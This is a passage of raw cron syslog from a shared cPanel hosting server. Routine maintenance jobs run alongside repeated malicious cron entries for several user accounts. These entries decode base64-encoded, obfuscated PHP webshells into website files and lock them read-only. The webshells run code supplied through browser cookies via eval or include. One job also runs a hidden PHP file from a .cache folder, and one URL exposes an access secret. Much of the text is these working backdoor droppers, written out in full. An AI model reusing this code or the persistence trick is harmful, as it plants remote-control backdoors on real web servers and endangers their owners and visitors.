CldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:50:01 medusa CROND[7357]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:50:01 medusa CROND[7358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:50:01 medusa CROND[7359]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:50:01 medusa CROND[7360]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  1 04:50:01 medusa CROND[7361]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:50:01 medusa CROND[7362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:50:01 medusa CROND[7366]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:50:01 medusa CROND[7364]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 04:50:01 medusa CROND[7373]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:50:01 medusa CROND[7371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:50:01 medusa CROND[7376]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:50:01 medusa CROND[7377]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:50:01 medusa CROND[7378]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:50:01 medusa CROND[7369]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 04:50:01 medusa CROND[7367]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:50:01 medusa CROND[7380]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 04:50:01 medusa CROND[7383]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:50:01 medusa CROND[7387]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:50:01 medusa CROND[7391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 04:50:01 medusa CROND[7384]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:50:01 medusa CROND[7372]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:50:01 medusa CROND[7393]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 04:50:01 medusa CROND[7397]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:50:01 medusa CROND[7399]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:50:01 medusa CROND[7398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 04:50:01 medusa CROND[7402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:50:01 medusa CROND[7386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:50:01 medusa CROND[7385]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:51:01 medusa CROND[31974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:51:01 medusa CROND[32017]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:51:01 medusa CROND[32018]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:51:01 medusa CROND[32019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:51:01 medusa CROND[32020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:51:01 medusa CROND[32022]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:51:01 medusa CROND[32024]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:51:01 medusa CROND[32026]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:51:01 medusa CROND[32030]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:51:01 medusa CROND[32032]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:51:01 medusa CROND[32033]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:51:01 medusa CROND[32023]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:51:01 medusa CROND[32039]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:51:01 medusa CROND[32040]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:51:01 medusa CROND[32041]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:52:01 medusa CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:52:01 medusa CROND[24526]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:52:01 medusa CROND[24527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:52:01 medusa CROND[24528]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50